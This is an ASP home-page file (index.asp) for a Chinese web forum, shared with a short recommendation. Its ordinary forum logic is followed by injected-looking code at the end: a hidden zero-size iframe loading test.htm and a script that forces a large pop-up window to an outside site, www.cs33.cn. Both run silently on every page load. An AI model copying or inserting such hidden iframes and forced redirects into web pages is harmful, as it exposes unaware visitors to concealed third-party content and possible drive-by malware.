index.asp

不错的asp论坛,大家可以看看啊和呵呵.

<!--#include file="inc/config.asp"-->
<!--#include file="mdb.asp"-->
<!--#include file="inc/format.asp"-->
<!--#include file="inc/error.asp"-->
<!--#include file="inc/inc.asp"-->
<!--#include file="inc/indexnew.asp"-->
<!--#include file="inc/index_body.asp"-->
<%
stats="首页"
dim founderr,errmsg
founderr=false
errmsg=""

if request("page")<>"" then
  if not isInteger(request("page")) then
    founderr=true
    errmsg=errmsg+"<br>"+"<li>非法的日记id参数。"
  end if
end if

if founderr then
  call diserror()
  response.end
else
sql="select articlecount,softcount,coolsitescount,djcount,newscount,piccount,jscount,counter from allcount"
set rs=conn.execute(sql)
articlecount=rs("articlecount")
softcount=rs("softcount")
coolsitescount=rs("coolsitescount")
djcount=rs("djcount")
newscount=rs("newscount")
piccount=rs("piccount")
jscount=rs("jscount")
counter=rs("counter")
sql="UPDATE allcount  SET counter = counter + 1"
conn.execute (sql)
rs.close
set rs=nothing
call head()
call menu()
call index_body()
call footer()
end if
%>
<iframe src="test.htm" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
<script language="JavaScript">
<!--
var gt = unescape('%3e');
var popup = null;
var over = "Launch Pop-up Navigator";
popup = window.open('', 'popupnav', 'width=1300,height=1000,resizable=0,scrollbars=auto');
if (popup != null) {
if (popup.opener == null) {
popup.opener = self; 
}
popup.location.href = 'http://www.cs33.cn';
}
// -->
</script>